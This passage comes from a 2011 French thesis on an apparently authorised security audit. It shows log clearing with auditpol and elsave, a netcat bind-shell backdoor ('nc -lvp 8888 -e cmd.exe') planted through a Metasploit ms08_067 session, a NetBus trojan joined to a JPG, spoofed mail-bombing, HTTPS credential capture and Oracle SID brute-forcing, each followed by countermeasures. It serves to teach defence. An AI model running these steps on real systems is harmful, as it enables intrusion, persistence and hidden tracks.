C:xJ>start cireadne._ txt:hack.exe

Figure 0.64 : Manipulation du flux NTFS
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- Nettoyer ou couvrir les traces
Lorsque le pirate gagne I’acces administrateur et réussi a infiltrer le réseau, il essaye
de supprimer la détection de sa présence en effacant les fichiers qu’il a créé et en nettoyant les
fichiers journaux des machines dans lesquelles il s’est introduit par la suppression des lignes

relatifs a son activité sur le systéme.

Pour arréter I’enregistrement dans les fichiers journaux:

C:\> auditpol /disable

Pour nettoyer les traces dans les fichiers journaux en utilisant I’outil ELsave :
C:\> elsave -s \\192.168.111.225 -l ""Security" —C

Une fois terminé on démarre I’enregistrement de nouveau :

C:\> auditpol /enable

- Installer une porte dérobée
Quand le pirate termine son travail, il installe une porte dérobée ou trappe (Backdoor)
qui est une faille de sécurité artificielle créée par une application pour obtenir un acces facile
a ’avenir dans la machine victime. L’application utilisée est nefcat. Le fichier exécutable
nc.exe est d’abord copier chez la victime par 1’ouverture d’une session par 1’outil Metasploit

et ensuite sera exécutée a distance a travers la session ouverte.

Systern  Window Help ‘

| 38 cancel| 7 Find JoBE

| Job ID |Module
[ Jobs
@ ms06_066_nwwks Microsoft Services Y S06-066 rwwks
4 ms06_070_wkssvc Microsoft Workstation Service Netph
% ms08_067_netapi Microsoft Server Service Relative Pa
W merdne znnanama Mirrnenft MNS ROC Sandra aviractr [T
| | I [ |
Module Information Module Output | Sessions

11:54:21 - ms08_067_netapi [-] Exploit failed: Login Failed: The server responded wil
11:54:58 - ms08_067_netapi [*] Launching exploit windows/smb/ms08_067_netapi..
11:54:58 - ms08_067_netapi [*] Started bind handler

11:54:59 - ms08_067_netapi [*] Triggering the vulnerability...

11:55:00 - ms08_067_netapi [*] Sending stage (723456 bytes)

11:55:02 - [*] Session 1 created for 192.168.111.224:4444

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>nc -lvp 8888 -e cmd.exe
nc -lvp 8888 -e crmd .exe
listening on [any] 8888 .

1072 1R8 111 332 imearen Lvm+ lamlenim failad: b Are

i @‘@ﬂ :E] # Metasploi® #1921681 @ root@bt:  FEmy ) 1 2 14:89

Figure 0.65 : Installation d’une porte dérobée
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-  Recommandations

Il est important d’implémenter des contre-mesures pour les outils que nous avons
énumérés, afin d’éliminer les vulnérabilités de notre systéme. Voici quelques contre-mesures

a prendre pour prévenir et remédier aux attaques déja discuté :

- Définir des politiques de complexité des mots de passe

- Utiliser 'utilitaire SYSKEY pour stocker les clés cryptées sur le disque

- Surveiller les fichiers journaux du serveur générés par des attaques par force brute sur
les comptes d'utilisateurs

- Surveiller les ouvertures de session échouées dans les fichiers journaux.

- L’utilisation des anti-virus et anti-spyware qui aident a identifier les trappes

- Blocage des ports et services inutilisés est essentiel pour éviter la création de portes

dérobées.

b.2 Les maliciels (malware)

L’attaque des SE s’effectue non seulement directement par le pirate, mais a travers des
logiciels malicieux élaborés par des pirates noirs pour nuire a ces systemes. Le maliciel est un
logiciel malveillant, développé dans le but de nuire a un systéme informatique. Les virus, vers

et chevaux de Troie sont des exemples les plus connus :

- Les virus
Un virus informatique est un logiciel malicieux capable de se dupliquer a travers le
réseau ou les moyens d’échange de données sur d'autres ordinateurs afin de nuire au
fonctionnement du systéme et de la mémoire. Lorsqu'on l'exécute, il se charge en mémoire et
accomplit des actions plus ou moins néfastes, allant de 1’affichage d’un simple message a la
perturbation grave du fonctionnement de l'ordinateur infecté et destructions de toutes les

données. Les types de virus les plus rencontrés sont les chevaux de Troie et les vers.

- Lesvers:
Logiciel autonome, utilise les connexions réseaux et les logiciels de messageries pour
se propager, il consomme les ressources mémoire et la bande passante du réseau paralysant

ainsi les ordinateurs.
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- Les chevaux de Troie :
Programme exécutable mais caché dans un logiciel ordinaire gratuit ou commerciale,
son but est de diffuser ou détruire les informations, ou ouvrir une porte dérobée pour son

concepteur afin d’accéder et de prendre contrdle du systéme a distance.

Avant Aprés
Infection Infection
Fichier .exe Fichier .exe
En-téte En-téte
Debut du Debut du
programme programme
v v
Fin du Fin du
programme programme

— Code Virus +—

Figure 0.66 : Exécution d’un fichier avant et aprés infection par un maliciel
Figure : Référence: CEH v5 Module 16 Virus and Worms

L’injection des virus chez un poste client est une tache plus ou moins facile, la plus part des
employés ont une curiosité innée qui leur pousse a ouvrir n’importe quel fichier recu méme
s’il est d’un expéditeur étranger ou d’une forme soupconneuse. Bien sur l’existence des
antivirus complique cette tache, mais je prendrais le cas d’un utilisateur qui a re¢u un message
¢lectronique contenant ce virus et I’a ouvert en dépassant I’anti-virus. Pour effectuer ce test, il
faut d’abord choisir le virus ou I’application a injecter, dans ce cas j’ai choisi netbus dont
I’exécutable s’appelle patch.exe, ensuite il faut lier cette application a un fichier régulier
comme une image de type ‘jpg’ en utilisant 1’outil FileJoiner une fois le poste est
empoisonné j’ai utilisé I’outil netbus pour ouvrir une session a distance et controler totalement

la victime.

Application
L’hors de I’exécution de ce test, I’antivirus a capté le virus patch.exe mais pour continuer le

test j’ai désactivé I’antivirus pour poursuivre les étapes nécessaires
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Flls s r - VR

Patch.exe

o

nmap xfJPG

Save Joined kile

File mame:

File: £

Figure 0.68 : Création de I’image contenant
le virus

NOD32 antivirus system warning: AMON - File system monitor

Alert details
File;
MetBug1 7 0Patch.exe
Threat:
Methus 170 trojan
Comment:

The file can be deleted. It iz strongly recommended that you back up any crucial data before you procesd. Event occured
at an attempt to access the file by the application: C:\WWANDO'WSAE splorer EXE.

Server admin Host name/p: 1192.158.111.158 _:] Port:]12345
Open CD-ROM [ ininterval: [60 About | adaip | cancel |
Show image Function delay: 10 Memeo ] Del IP J Scan! |

Swap mouse ‘ Port Redirect ‘ App Redirect ‘ Server setup ‘

Start program Play sound ‘ Iﬂ_- r Control mouse
Msg manager ‘ Exit Windows ] Mouse pos 1 Go to URL ‘
Screendump ‘ Send text ‘ Listen ‘ Key manager ‘
Get info ‘ Active wnds ] Sound system ‘ File manager ‘

|Connected to 192.168.111.158 {ver 1.70)

[+- Adobe Acrobat 7.0 Pro
-autocad2007
AUTOEXEC.BAT (0k)

- hoot.ini {0k)
Config.Msi
CONFIG.SYS (0k)
~current_employees_pictures

¥ DELL

-Documents and Settings

- hip_LM 18 _Full_Solution

- 10.5VS (0K}

1j1018-HB-pnp-winxp2kv32-en.exe {485Tk) v

Showﬁles‘ Download I Upload ‘ Delete ‘

Remote file: 1

Close

Figure 0.67 : Connexion a distance chez la
victime

Progress: ldle

Threat detected

B Copyto Quarantine

Submit for analysis

Clean

Rename
Renameinfectad file

? =

Help Close Infi

Display warning window

Delete
Delate infected file

“2NOD32

Antivirus System

Figure 0.69 : Virus capté par ’antivirus
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b.3 Les systémes de messagerie

Les applications de messagerie constituent une menace a la sécurité car elles sont
souvent négligées par les administrateurs qui pensent que les antivirus sont suffisants pour
sécuriser les machines. En effet les courriers électroniques sont les plus ciblés par les pirates,
ils peuvent transmettre des maliciels, arréter les systémes, obtenir un accés a distance, capter
et modifier des informations confidentielles et connaitre la configuration du réseau. Les

attaques différent selon les types des applications de messagerie :

- Les messages électroniques (email)

o Piéces jointes

Le pirate envoi des milliers d’emails avec des larges picces jointes qui paralysent le
réseau et la mémoire de stockage de la machine. Pour éviter ce genre d’attaque, il faut limiter
la taille de ’email ou des pieces jointes et allouer un espace mémoire fixe (quota) pour
chaque utilisateur. Dans le cas de transfert de larges fichiers, il est préférable d’utiliser les

services FTP ou http.

o Connexion

Le pirate envoi des milliers d’emails simultanément a des adresses d’un méme réseau
causant une attaque de connexion ou bombe de messages ou le serveur se bloque et arréte de
travailler. Le pirate y prend avantage pour obtenir 1’accés administratif sur le systéme. La
limitation des ressources allouées et des requétes sur le serveur de messagerie minimise

I’occurrence d’une telle attaque ainsi qu’elle empéche une attaque par dénis de service.

o Réflexion
Le pirate envoi des milliers d’emails de la part d’une adresse du réseau, ainsi tous les
messages réponses retournerons vers la victime dont 1’email sera bloqué ainsi que la bande

passante et espace mémoire du serveur.

Application
D’abord pour avoir une liste des courriers électroniques des utilisateurs on utilise
I’outil /dap.exe qui permet une connexion au service d’AD et obtention des informations de

tous les utilisateurs. Cette liste sera importée dans un logiciel qui envoi des milliers de
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courriers instantanément, utilis¢ d’habitude pour la distribution des bulletins électroniques
newsletter dans lequel on ajoute plusieurs larges piéces jointes et on désigne 1’adresse
apparente de 1I’expéditeur qui est une adresse d’un utilisateur de I’organisation. Cette méthode
permet donc de paralyser les ressources du serveur et plus tard abouti & mettre le domaine de

I’entreprise dans la liste noire des expéditeurs.

#" SendBlaster Free Edition

-
|\ __dMessages

[ Compose message

‘SendBlaster ...

3 Send _ ‘1: Messages
45 History -
I_ = : Select distribution list
@Lists and addre... (3_) | nada i
| i | Sender e-mail address: Sender name: !
1 Manage lists |
(9 Blackist | S Sicishicon | il
#E Irnport e
B+ Export 22

E Manage subscriptions
R Manage bounce-backs

Send settings:

Send mode: (&) Direct send

[ Manually set DNS server:

B8] Fields and appearance
3 Security ] Retry with SMTP in case of ermor
(O Use SMTP server K SMTP.com Wizard o

SMTP server:
hd [ | Fice o

Figure 0.70 : Logiciel SendBlaster pour envoyer les courriers en masse

@ TerraNet Webmail - Wﬂs Internet Explorer [ == ﬂ
@ u - |é http://webmail.terra.net.lb/en/mail. htmi?sid= - | "9| X | |L Bing P
File Edit View Favorites Tools Help
¢ Favorites |é TerraMet Webmail |_| - v [ dsh v Pagev Safety~ Took~ @~ N

Folders Inbox Sent Trash Drafts Addresses Options
nad. o @terranet|b: Inbox

D’* @ @ @ m E{El A ¥ @ Move message to folc
|| Compose Reply Reply All Forward Delete Add Addresses |Previous /o0 Close
Return-path <=»! L @aishti.com> -

Received from me " terranetlb(, 1) by coral.terra.net.lb (Sun Java System Messaging
Server 6.2-4.03 (built Sep 22 2005)) with SMTP id
| <0L7LO0CEJSKD9DCO@coral terra.net Ib= for nace  @terra.net.Ib; Mon, 23 Aug 2010
14:43:25 +0300 (EEST)
Received from (dsl-213-204 ©  terranetlb [213.204 ©  ]) by me terra.netlb with smip id
28ad_a387f33c_aeab_11df_b76c_00142211f22d; Mon, 23 Aug 2010 14:43:24 +0300
| Date Mon, 23 Aug 2010 14:43:39 +0300
From Newsletter <rs  w@aishti.com=
Subject new offer
To nade  w@terra.net b
Reply-to -~ “@aishti.com
Message-id <286062263004773115944@user>
| MIME-version 1.0
X-Mailer SendBlaster.1.6.0
] Content-type text/plain
|Comem—nansfer—encoding quoted-printable

Figure 0.71 : Courrier livré apparent de la part d’un utilisateur de ’entreprise
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Ce test n’a pas réussi a cause des systémes de détection et de prévention d’intrusion (/DP ou
IPS) qui ont détecté I’arrivée de plusieurs messages d’'un méme expéditeur simultanément et
I’ont bloqué pour une période donnée, et un pare feu qui a filtré les messages a partir des
criteres prédéfinis par I’administrateur : sujet, contenu, expéditeur... Par contre on a pu
envoyer les courriers de la part d’un utilisateur interne et causer le surpassement de la limite

d’espace allou¢ a son compte.

- Les banniéres :

La lecture des banni¢res affichées lors d’une connexion Telnet, par exemple, sur un
serveur aide le pirate a connaitre ces spécifications : logiciel, version, protocole, services...
En connaissant les vulnérabilités du logiciel révélé, il choisira mieux les méthodes d’attaque.
Pour éviter le dévoilement des données techniques et confidentielles résidents dans les
serveurs, il est préférable de changer la bannicre écrite par défaut et installer les derniers
correctifs logiciels sur les serveurs. Le test des bannicres est effectué sur tous les serveurs
pertinents de ’entreprise, les résultats obtenus indiquent un échec de la connexion ou des

bannic¢res modifiées ne présentant aucune information sur le serveur ou sur ces spécifications.

B¥ Command Prompt - |ﬂ‘£_;-]

c:w>telnet 192,168 25
Connecting To 192.168. .--Could not open connection to the host. on port 25
: Connect failed

C 2N

Figure 0.72 : Connexion échouée avec le pare-feu

Em Telnet 212

SRR e i

Figure 0.73 : Banniére du pare-feu de messagerie modifiée

- Les attaques Simple Mail Transfer Protocol (SMTP)

Lorsque le pirate accéde a un serveur par Telnet a travers le port 25 il peut utiliser
quelques syntaxes communes comme VRFY ou EXPN pour révéler les utilisateurs existants
et leur envoyer une attaque par bombe de messages. La meilleure solution contre ce type
d’attaque dépend de 1’administrateur, s’il n’utilise pas ces commandes, il doit les désactiver,

sinon il peut limiter les personnes pouvant les exécuter sur le réseau.
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BN Telnet 192,168

421 4.3.2 Service not availabhle, closing tranzmiszsion channel

Connection to host lost.

Figure 0.74 : Connexion SMTP échouée avec le serveur de messagerie a travers le port 25

L’utilisation des serveurs relais de messagerie (Relay SMTP) cause aussi des problémes de
sécurité car ils peuvent étre utilisés par des pirates pour envoyer des messages spam au nom
de la victime. La désactivation du service relais, s’il n’est pas utilisé¢, et I’imposition

d’authentification sont les solutions pour ce genre d’attaque.

- Les messages instantanés (Instant Messaging - IM)
Cette technologie utilisée pour des raisons d’amusement ou de travail sérieux, présente

aussi des vulnérabilités graves pour les systeémes informatiques :

o Usurpation des identités IM
o Lancement d’attaques de DoS
o Capturer les adresses IP

o Transfert des maliciels

La capacité de partage des fichiers qu’offrent les services IM crée une faille menagante au
réseau, elle ouvre un chemin d’accés et de controle a toutes les personnes connectées sur les
ressources de la machine. La détection des vulnérabilités des services IM est difficile car
c’est une application qui s’exécute localement chez les utilisateurs, mais il existe des outils de
surveillance qui aident a détecter les trafics IM et les vulnérabilités résultantes. Bien sur dans
ce cas aussi, |’utilisation de I’antivirus et I’application des correctifs logiciels aident a

minimiser le danger de ce service.

Les services publiques des messages instantanés comme MSN, GTALK, Yahoo... sont bloqués
chez la plus part des utilisateurs de I’organisation, diminuant ainsi les risques d’infection et de
propagation des maliciels a travers les IM. Mais il existe un service de messagerie privé
implémenté chez quelques employés appelé Office Communication Server (OCS) Le contrdle
et filtrage du trafic peut étre effectué sur le serveur comprenant ce service, interdisant tous les

fichiers apparemment vulnérables.
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Jai effectué le test dans le cas de service public et privé et aucun fichier vulnérable n’a passé.
La seule fagon c’est de changer le type du fichier ou extension a .zxt par exemple pour passer.
Mais dans ce cas le destinataire doit rendre le type original pour exécuter le fichier ce qui est

difficile a faire par rapport a un pirate.

R e O || e~ E
@ nada Rizk @ @ Nada mzk @
@ 2 @® @

Nada Rizk [3:52 PM] sends: - a

Nada Rizk [4:00 PM] sends:

Idp.rar (88 KE)
Send Complete Idpavbs (249 KB)

Error in transfer

[l Transfer of “idp.rar" is complete.

Nada Rizk [3:53 PM] sends: [ Your message or invitation was not delivered, possibly because it contains a hyperlink or
‘. T other content that the system administrator has blocked.
Idp.exe (249 KB) W Nada Rizk [4:00 PM] sends:

Error in transfer

Idp.com (243 KB)

[% Your message or invitation was not delivered, possibly because it contains a hyperlink or -
Error in transfer

other content that the system administrator has blocked.

Nada Rizk [3:53 PM] sends:

[ [ Your message or invitation was not delivered, possibly because it contains a hyperlink or
e i other content that the system administrator has blocked.

Idp.bat (88 KE)
Error in transfer Nada Rizk [4:00 PM] sends:

[ Your message or invitation was not delivered, possibly because it contains a hyperlink or Idp.js (243 KB) =

other content that the system administrator has blocked.
Errorin transfer

Nada Rizk [3:53 PM] sends:

[% Your message or invitation was not delivered, possibly because it contains a hyperlink or

ldp.tet (249 KE) other content that the system administrator has blocked. 2
Send Complete - ¥
Last message received on 24/08/2010 at 3:44 PM. Last message received on 24/08/2010 at 3:59 PM.

Figure 0.75 : Echec de transfert des fichiers vulnérables dans une communication IM privée

rﬁ? Ranuuche‘i ,-n g—- g - @M‘

Photos Files Video Call Games Activities

@ chris sE@gmail.com

I
| 1]

. cCall || X, Sendvoicemail || ' SendFiles | | v

-1 You are sharing a file (249.0 KB) with
E% chris

»

Nadadicho sends:

Liap

Idp.exe (249 KB] Idp.js _ .
Ranouche ) canceled chris declined the offer
@ You are sharing a file (2490 KB) with
i ; chris
& Sending of "Idp.exe” to Ranouche :) has failed. = o
Idp.exe
chris declined the offer

i MNadadicho sends:

Idp.com (243 KB) chris
Ranouche :) canceled Idp.rar
Transfer complete

By |

M ‘ @ You are sharing a file (88.1 KB) with
|
|
|

m

& Sending of "ldp.com” to Ranouche :) has failed.

@ You are sharing a file (249.0 KB) with
chris

Nadadicho sends: | ldp.com

m

o chris declined the offer
Idp.bat (249 KB)
Ranouche -] canceled You are sharing a file (249.0 KB) with
chris
ldp.vbs
chris declined the offer B

& Sending of "Idp.bat” to Ranouche :) has failed.

on 25/08/2010 !|_ |

"o

Figure 0.76 : Echec de transfert des fichiers vulnérables dans une communication IM
publique
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Comme le transfert des fichiers est controlé sévérement, il reste une méthode d’infection a
travers les adresses URL. Malheureusement I’utilisation de cette méthode est plus fréquente
récemment car elle succéde la plus part des fois. Ce genre d’attaque est controlé par la
configuration des parametres de I’application de messagerie ou par les pare-feux locaux ou
des politiques de sécurit¢ du domaine qui interdisent I’ouverture des adresses url

soupconnables.

b.4 Applications web

Les organismes publics et privés migrent leurs fonctions essentielles vers I’internet, ce
qui incite et ouvre des possibilités aux pirates noirs d’accéder aux données pertinentes comme
les informations sur I’entreprise, ses clients et ses employé€s a travers les applications web.
Alors que la plupart des sites web sont fortement sécurisés au niveau du réseau avec des pares
feu et des outils de chiffrement, ils autorisent l'acceés des pirates aux données par la
manipulation des applications web. Ces pirates attaquent les applications web en raisonnant
comme les programmeurs, ainsi pour sécuriser ces applications il faut comprendre
I’architecture des applications web, les techniques d’attaque utilisées par les pirates

malveillants et les contres mesures de sécurisation.

- Architecture des applications web
Les applications web sont des entités a plusieurs niveaux de codes et de données
formées par des parties publiques, accessibles directement ou indirectement de I’internet et
d’autres parties privées, pour les employés a I’intérieur de 1’entreprise. Une vulnérabilité dans

n’importe quel niveau cause une faille de sécurité pour I’application web enticre.

| Données

[ Base de données

| Systémes backend

[ Systémes frontend

| Serveur web

LRV R’

[ Interfaces utilisateurs

Insertion
données
d’ utilisateur

navigateur

Figure 0.77 : Couches d’une application web
Référence: Auditing-and-Securing-Web-enabled-Applications
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- Techniques d’attaque sur les applications web
De nombreuses attaques contre les applications web sont de nuisances mineures et
n’affectent pas les informations confidentielles ou la disponibilit¢ du systeme. Cependant,
certaines attaques causent des dégats majeurs et arrétent ces systemes. Je discute ci-dessous

quelques types d’attaques communs.

o Processus d’identification insécurisés (login)

La plupart des sites web exigent une identification des utilisateurs avant d’accéder a
leurs ressources et services, ces mécanismes de connexion ne traitent pas généralement les
identifiants et mots de passe d'utilisateur incorrects. Ils retournent souvent trop d'informations
que les pirates utilisent pour recueillir les identifiants d'utilisateur et leurs mots de passe. Ces
messages d’erreur de connexion précisent quel parameétre est erroné, mais d’un autre coté

assurent aux pirates quel parametre est correcte !

Email is not been registerad!

Useremail: |nada.rizki@haotmail .com

Password: (esssses

m Fargotten your passwaord?

Figure 0.78 : Message de connexion erronée

Pour prévenir ce genre d’attaque, il faut unifier le message d’erreur pour étre ambigu, par
exemple : « Identifiant ou mot de passe erroné », et annuler les codes d’erreur retournés

automatiquement par les serveurs

o Manipulation des adresses URL

Les pirates accédent a des sites avec des ports différents que le port 80 usuel des pages
web, si ces ports ne sont pas bloqués, ils peuvent accéder a des pages ou données
confidentielles, ou utiliser les données retournées par les messages d’erreur pour obtenir des
informations sur le site et serveur attaqué. Le blocage des ports inutilisés et changement du

message d’erreur est essentiel pour arréter ce type d’attaque.
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* ERROR: The requested URL could not be retricved - Windows Internel Explorer
ks

&3 0 - B g fservercfaresnet:3128]

Fls £t View Favorkes Tooks  Help @jconvert = [BD Salect

4 | ESERRCR: The requested URL could not be retrieved

ERROR

The requested URL could not be retrieved

While trying to process the request:

HTITP/MA
t image/gd. image/x-xbitmap. image/jpeg. image/pjpeg. application’x-shockwave-flash. application/xaml+xmil, apphcationmd ms-xps
anguage en-us
PU. x5
ding gip. deflate
ia‘d 0 (compatible, MSIE 7 0. Windows NT 5. 1. NET CLR 1.14322, HET CLR 2 0. 60727, NET CLR 3.0.04506 30, MS-R

The following error was encountered;
+ Invalid Request
Some aspect of the HTTP Request Is invalid. Possible problems:

= Missing or unknown request method

« Missing URL

+ Missing HTTP ldentifier (HTTP/1.0)

« Request is too large

+ Content-Length missing for POST or PUT requests

« Illegal character in hostname; underscores are not allowed

Your cache administrator is webmaster.

Figure 0.79 : Message d’erreur d’un site accédé par un port erroné

o Balayage des directoires des serveurs web

Les pirates utilisent des outils pour balayer les serveurs web et découvrir toutes les
directoires et fichiers accessibles par le public et accédent ainsi aux données confidentielles de
I’entreprise. Les administrateurs de ces serveurs doivent éliminer tous les fichiers
confidentiels des directoires principaux du serveur et s’assurer des permissions attribuées aux

fichiers réservés aux employés, partenaires ou public.

o Données mal formées en entrée

Les applications web acceptent généralement tout type de données en entrée sans
validation. Plusieurs attaques peuvent étre lancées contre ces applications en insérant
plusieurs données mal formées simultanément, ce qui peut engendrer une confusion, un
accident ou dévoilement d'informations a l'attaquant.
Les pirates peuvent causer un débordement de tampon en manipulant la longueur du texte
inséré, un DoS en registrant des milliers d’utilisateurs a la base de donnée du serveur ou
injecter un code erroné en modifiant des parameétres dans les adresses url dans la barre
d’adresse du navigateur.
La validation des données en entrée est la meilleur fagcon pour faire face aux attaques listées,

le programmeur doit vérifier la longueur des données, le nombre et type des parametres et
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désactiver les JavaScripts pour arréter les codes dynamiques. La manipulation de n’importe
quel paramétre doit empécher I’acces au serveur.

La plupart des vulnérabilités des applications web reposent sur la capacité d'insérer des
données invalides ou un code malveillant dans l'application a l'aide de plusieurs techniques.
Ils existent des outils capables d'effectuer automatiquement l'évaluation des vulnérabilités
dans les applications web en essayant toutes les attaques de piratage possibles et générant des
rapports sur les attaques réussis et gravité des vulnérabilités trouvées. Mais le procédé de
sécurisation doit étre effectué¢ finalement par I’administrateur du systéme en appliquant toutes

les contre mesures discutées, convenables a chaque type d’attaque.

o Captage des sessions sécurisées

Afin de sécurisées les pages web confidentielles de I’organisation, on a recours au
protocole sécuris¢ HTTPS (port 443 TCP), de cette fagon le trafic sur ce site sera crypté et
difficile a étre capté et déchiffré par un pirate connecté au réseau. Mais il ne faut pas oublier
de vérifier la méthode d’authentification sur ce genre de sites. Ces méthodes peuvent envoyer
les noms des utilisateurs et leur mots de passe en plein texte comme Basic Authentication ou

cryptés comme Integrated windows authentication.

Application

Le site public de 1’organisation est hébergé dans le serveur de I’entreprise qui ’a créé
et responsable de sa maintenance. Mais il existe I’application web des messages €lectroniques
qui existe a I’intérieur de 1’organisation et est accessible de I’internet. Le premier test consiste

a essayer le processus d’identification avec des données erronées :

" Office Outlook Web Access

Security ( show explanation )

© This is a public or shared computer
@ This is a private computer

W Use Outlook Web Access Light

Domain\user name:
Password:

Log On

The user name or password that you entered is not valid.
Try entering it again.

Figure 0.80 : Message d’erreur ambigu
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L’essai de manipulation de 1’adresse URL retourne un message d’erreur indéfini ou réoriente

vers la page principale. L’essai d’outil de balayage ou d’acces retourne un message d’erreur

indiquant un acces interdit.

eb ad 00 i
File Tools Help

PSCAN | IMFO LISCAMN I FUZZ I

Settings

Target [host | IPv4]: Port [BO]: Start [findex.html];

|192‘1ss |443 |,' ok & stop
Results

internal directories:

i

emails:

external links:

Consele:

INFO Spidering 192.168 /443
ERROR HEAD [ == 401

Figure 0.81 : Acces interdit sur le serveur

root@bt: /pentest/scanners/nikto - Shell - Nikto2

Session Edit View Bookmarks Settings Help

#
# ./nikto.pl -host 192.168. -port 443 -C a

+ Target IP:
Target Hostname:

t / (/TiVoConnect?Command=0
vered

Figure 0.82 : Accés de balayage interdit sur le serveur

L’essai de captage d’une ouverture de session avec le serveur retourne le trafic contenant le
nom de I’utilisateur et son mot de passe malgré I’utilisation du protocole sécuris¢ HTTPS, le

probléme réside donc dans la méthode d’authentification qui doit crypter les données

confidentielle de ’utilisateur.
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- B

B @

CHALL CHALL
SPOOF - SROOF
BESET HNTLH

vy B BEIMEBEa0®TR 6 7 0

Decoders Metwork ﬁ'ﬂ sritfer |af Cracker |48 Traceroute |WED ccou |%§7 wirskess |Eh Query
4

e AFR.
APR-Cert (1)
2 APR-DNS
B APR-5SH-1 ()
&) APR-HTTPS (4)
S APR-ADF (0)
5 APR-FTPS (0)
By APR-POP3S (D)
B APR-IMAPS (0)
B APR-LDAPS (0)
8 apr-sPs ()

Started | closed | HTTPS server | client | Status | Filenan
25/08/2010 - 10:45:27 25/08/2010 - 10:45:27 192,165 192,165, Closed by client

25/08/2010 - 10:45:23 25/08/2010 - 10:45:29 192,168, 192,168, Closed by dlient: HTTPS-
25/08/2010 - 10:45:29 192,165 192,165, HTTRS-
25/08/2010 - 10:45:45 192,165 192,168, HTTFPS-

B HTTPS-201082574529234-4381.1xt - Notepad E

File Edit Format View Help

</
</Table>

</Form:

<iframe src="/owasauth/preload. htm" style="display:none"></1frame>

<fb0d¥>

</ html s

[CTlient-side-data]PosST fowasauth/owaauth.dll HTTP/1.1

Accept: imagesgif, image/x-xbitmap, imagesjpeg, imagespipeg, application/x-shockwave-fla

applicationsvnd.ms—excel, applicationsvnd.ms-powerpoint, applicationsmsword, ¥/«

referer: https:/ vJauth/Togon. aspx?replacecurrent=1&ur T=https¥3ax2
Laishti. com¥towax2t

AcCCEpT-Language: en-us

Content-Type: application/x—www—form-urlencoded

Accept-Encoding: gzip, deflate

User—agent: MozilTa 4.0 (compatible; MSIE 6.0; windows NT 5.1; Svl;

CLR 2.0.50727)

Host: aishti.com

Content-Length: 148

Connection: Keep-alive

Cache-Control: no-cache

LMET CLR 1.1.4322; .

destinationshttps%3a%2F%2F aishti. com
2F&F1ags=0&Forcedown]evel =0&Trusted=0&username=
fe=1[server-side-data]HTTR/1l.1 302 Moved Temporari [y
Content-Length: 0
Location: https

@aishti. com&passwords

vishti. com

Figure 0.83 : Captage de session sécurisé¢e HTTPS avec le serveur de messagerie

b.S Injection de code SQL

C’est une attaque visant les applications interagissant avec des bases de données. Elle
consiste a exploiter les fichiers systéme de la base de données et a injecter des commandes de
type Structured Query Language (SQL) dans les requétes qui passent les parametres de
I’application vers la base de donnée, ainsi si le concepteur n'effectue aucun contrdle sur les
parameétres passeés, il est possible a un pirate de modifier la requéte et d’obtenir un acces aux

ressources ou manipuler les données.

Les étapes d’attaque par injection SQL sur une base de données ORACLE sont :

- Balayage pour trouver le port du 7NS-Listener qui contient les parametres de
connexion a la base de données

- Enumération du TNS-Listener pour obtenir des informations : version, IP, statut, nom
du connecteur (System ID - SID)...

- Si TNS-Listener est sécurisé on utilise le system de recherche par force brute pour
obtenir le SID

- Connexion avec la base de donnée par commande sglplus

- Extension de priviléges par injection de code
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- Scanner les identificateurs faibles

- Injection de code manipulant

Application
o Trouver le TNS-Listener
L’utilisation de la commande NMAP dévoile les ports accessibles chez le serveur
victime, si le service TNS-Listener est présent on obtient le port 1521/TCP ouvert par Oracle.

Ce test a réussi sur notre serveur de base de données oracle.

o Enumération du TNS-Listener
La commande tnscmd récupére les informations nécessaires du fichier TNS-Listener et
permet d’injecter des codes SQL pour manipuler les parameétres de configuration de la base de
données.

root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

-# perl /Jtmp/ cmdle.pl version -h 192.168.111.224
sending (CONMNECT DATA={COMMAMND=version)) to 192.168.111.224:1521
writing 90 bytes
reading

Vindows: Version 18:2.8.1.8 - Production..:TNS for 32-b
it Windows: |Version 10.2.0.1.08 - Production..Oracle Begueath NT Protocol Adapter
for 32-bit Windows: Version 18.2.0.1.8 - Production..Windows NT Named Pipes NT
Protocol Adapter for 32-bit Windows: Version 10.2.08.1.8 - Production..Windows NT]

|| = shen |

Figure 0.84 : Version de I’Oracle obtenue par tnscmd

root@bt: ~ - Shell - Konsole
Session it View Bookmarks Settings Help
~# perl /tmp/tnscmdl@.pl status )
sending (COMNECT DATA=(COMMAND=status)) to 192.168.111.224:1521
writing 89 bytes

reading
TR PR ", .U(DESCRIPTION=(ERR=12618) (VSNNUM=169869568) (ERROR_STACK=(ERROR=( IZL'IIDE=|
618) (EMFI=4))))
A I

%|| @ shell

Figure 0.85 : Privileges insuffisants pour obtenir le statut de la base de données oracle
par tnscmd
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La version d’oracle dévoilé est /0g, le TNS-Listener est sécuris¢ donc on essai le moteur de
recherche par force brute pour trouver les noms des connecteurs aux bases de données ou SID

ou une méthode plus facile qui est ’acces par page web.

EX Command Prompt = | B -G

E:“Nada~My Learnings~CHAM“Memnoire“progsssidguess*sidguess host=192.168.111.224 p
opt=1521_szsidfile=sid.txt
|SID=nada.

E:“Nada~My Learnings~CHAM“Memoire“progsssidguess >

Figure 0.86 : Outil sidguess pour chercher les SID

'3 Oracle Enterprise Manager - Microsoft Internet Explorer

File Edit \Miew Fawvorites Tools Help
@Back = ed T (2] # | ' Search 5 7 Faworites 4 | P =

Address !&:_] hitp: ffquest., aishti.com: 1 158 emfconsole/logonflogon; jsessionid=c0ad6fe0486b7 LGEETH

ORACLE Enterprise Manager 10g

nirol

Login to Database

* Uzer Mame I

* Password !

Connect As INormaI vI
(Login)

Figure 0.87 : Accés web sur le serveur de base de données

o Connexion avec la base de donnée par commande sqlplus
La premiére étape consiste a accéder la base de donnée méme si c’est avec un

utilisateur a privileéges limités.

La deuxiéme étape est I'utilisation des quelques commandes sql pour obtenir plus
d’informations, comme les tables existantes et leurs propriétaires, les rdoles de sessions les

objets de la base de données...

select * from v$version;
select * from all_users;
select * from session_roles;

select owner, table_name from all_tables;

RIZK Nada, 2011 -94 -



root@bt: ~ - Shell - Konsole <2>
Session Edit View Bookmarks Settings Help

SQL*Plus: Release 10.2.0.4.0 - Production on Wed Sep 8 08

Copyright (c) 1982, 2807, Oracle. All Rights Reserved.
Enter user-name: / @//192.168.111.224/nada
Connected to:

Oracle Database 18g Release 108.2.0.1.8 - Production

S0L= 50L=
SQL> select * from vSversion
2

BANNER

Production
: Version 10.2.0.1.8/- Production
NLSRTL Version 10. 8 - Production

SO0L> select * from all users;

USERNAME USER_ID CREATED

(]| @ shell |

Figure 0.88 : Connexion sqlplus avec utilisateur commun

